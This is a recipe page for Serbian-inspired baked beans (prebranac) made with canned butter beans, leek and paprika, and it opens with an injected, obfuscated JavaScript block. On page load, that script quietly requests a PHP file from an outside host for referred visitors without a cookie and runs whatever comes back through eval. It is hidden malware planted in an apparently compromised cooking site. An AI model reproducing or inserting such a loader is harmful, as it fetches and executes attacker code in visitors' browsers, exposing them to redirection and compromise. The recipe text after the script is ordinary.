;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//thehomeharvest.com/wp-admin/css/colors/blue/blue.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
Bite My Kitchen by Gordana

Serbian Inspired Baked Beans

45 minutes


6 - 8 servings

Inspired by one of Serbia’s most popular dishes (Prebranac), these Serbian Inspired Baked Beans are an easier take on the traditional dish. Prebranac is one of the many vegetable-based dishes found in most households and nowadays, restaurants. It is mostly made during the winter months or for special occasions, and as always, with slightly different variations or methods of cooking. This recipe is inspired by a traditional dish, made with canned butter beans, cooked with the traditional seasonings, and baked in the oven for the thick bean consistency that this dish is known for.

Serbian Baked Beans

About prebranac

In Serbia, you will find prebranac as one of the top recommended foods to try and with good reason. Aside from it being a delicious traditional dish, it is also prepared during Orthodox fasting, when no meat is consumed, or for other special celebrations.

You may have seen or tasted prebranac prepared with meat. However, a vegetarian prebranac is also common. To make the dish is not as laborious as it may seem. Most of the process is about soaking the beans and slow cooking. It is also a mostly inexpensive dish to prepare which still results in rich and comforting flavours. Made with lots of onions, a ton of beans, paprika, bay leaves, salt and pepper, this staple dish is simple, yet delicious. If you ask me, I think that Serbian Baked Beans / Prebranac can be enjoyed any time, especially if you opt for meat-free alternatives often.

Serbian Baked Beans / Prebranac

The traditional way

Traditionally, prebranac is prepared the night before. Soaking the beans in water overnight is what takes up much of the preparation for this recipe. If you make this dish in the traditional way, you will need to soak the beans in water for at least 10 hours, drain them completely the next day and cook in a fresh batch of water on high heat for 30 minutes. It is important to drain the water one last time and cook the beans again (in fresh water) with bay leaves, paprika, salt and pepper until the beans are completely cooked. Overall, the process requires the water to be changed over 3 times.

In a separate pan, cook the onions and garlic until soft and caramelized, then add the beans. The onions and beans are then transferred to a baking dish. Everything is baked in the oven where the liquid is reduced. In the end you get delicious, comforting baked beans, packed with flavour.

Serbian Baked Beans / Prebranac

This version

Making the beans in the traditional way is simple but soaking and cooking raw beans takes time. While the traditional way is just that – traditional, you certainly can make prebranac with canned beans. You can use cannellini beans or butter beans.

This makes the recipe easy and accessible no matter where you live. If you can get your hands on dried beans – great! However, if you want to skip the soaking process or get straight into cooking the beans, using canned is a good alternative.

This Serbian Inspired Baked Beans recipe also uses vegetable stock instead of plain water. As for the leek – I have tried prebranac with leek years ago, and I loved it! That gave me the inspiration to create this version with mostly leek and some yellow onions.


Lets make it

This recipe has been simplified so that all you need to do is prep the ingredients, cook everything on the stove top, transfer to the oven and bake. Start by heating the olive oil, add the chopped leek and chopped onions. Season with salt, cook stirring often, until the onions begin to caramelize (20 minutes). Add the crushed garlic, butter beans, vegetable stock, dried paprika, bay leaves and pepper. Cook on the stove-top, covered with a lid for a further 20 minutes, stirring halfway.

In the meantime, heat the oven to 180°C. Transfer the beans into a baking dish and bake for 45 minutes to 1 hour (depending on your oven). Cover with foil and bake. The butter beans should thicken, and most of the vegetable stock should evaporate. A good rule of thumb is that 80% of the liquid should have evaporated. The beans should not be completely dry. Remove from the oven, taste, and adjust for seasoning. Allow it to cool slightly and remove the bay leaves before serving.

Serbian Baked Beans

Looking for more recipes?

If you are looking for more traditional Serbian recipes, try one of these:

Serbian Grašak / Pea Stew

Shopska Salad / Šopska Salata

Vegetarian Chickpea Paprikash

Once you try this mix of caramelized onions and beans, you will love it! If you do, feel free leave a comment below and if you have a moment, please leave this recipe a rating. I would love to hear what you think, and if you make this recipe, you can tag me over on Instagram.



Adjust Servings
2tbsp olive oil
1 leek, chopped
3 brown onions, chopped
2tsp salt
2tsp crushed garlic
700g canned butter beans, rinsed
1L vegetable stock
1tsp dried paprika
2 large bay leaves
salt & pepper to taste


Preparing the baked beans
In a large pot, heat olive oil and add chopped leek, brown onions and salt. Cook over low medium heat, stirring frequently. Cook until the onions have softened and begun to caramelize (20 minutes).
Once the onions begin to caramelize, add the crushed garlic, and stir. Then, add the rinsed butter beans, vegetable stock, paprika, pepper, and bay leaves. Stir well, cover with a lid, and cook on medium heat for 20 minutes, stirring halfway through. In the meantime, pre-heat the oven to 180°C.
Mark as complete
Baking the beans
After 20 minutes, transfer the beans into a baking dish and then into the oven, covered with foil. Bake for 45 minutes or up to 1 hour. Ensure that the dish has liquid about 1/3 of the way up. This prevents the beans from burning and that the dish does not completely dry up.
The butter beans should thicken. A good rule of thumb is that 80% of the liquid should have evaporated. The beans should not be completely dry so you may have to keep an eye out halfway through the baking. Remove from the oven, taste, and adjust for seasoning. Allow to cool slightly, remove the bay leaves, and serve warm.
Mark as complete
Serbian Baked Beans / Prebranac is best eaten the next day.
Leftovers will keep well in the fridge for up to 3 days.

Leave a Reply

Your email address will not be published. Required fields are marked *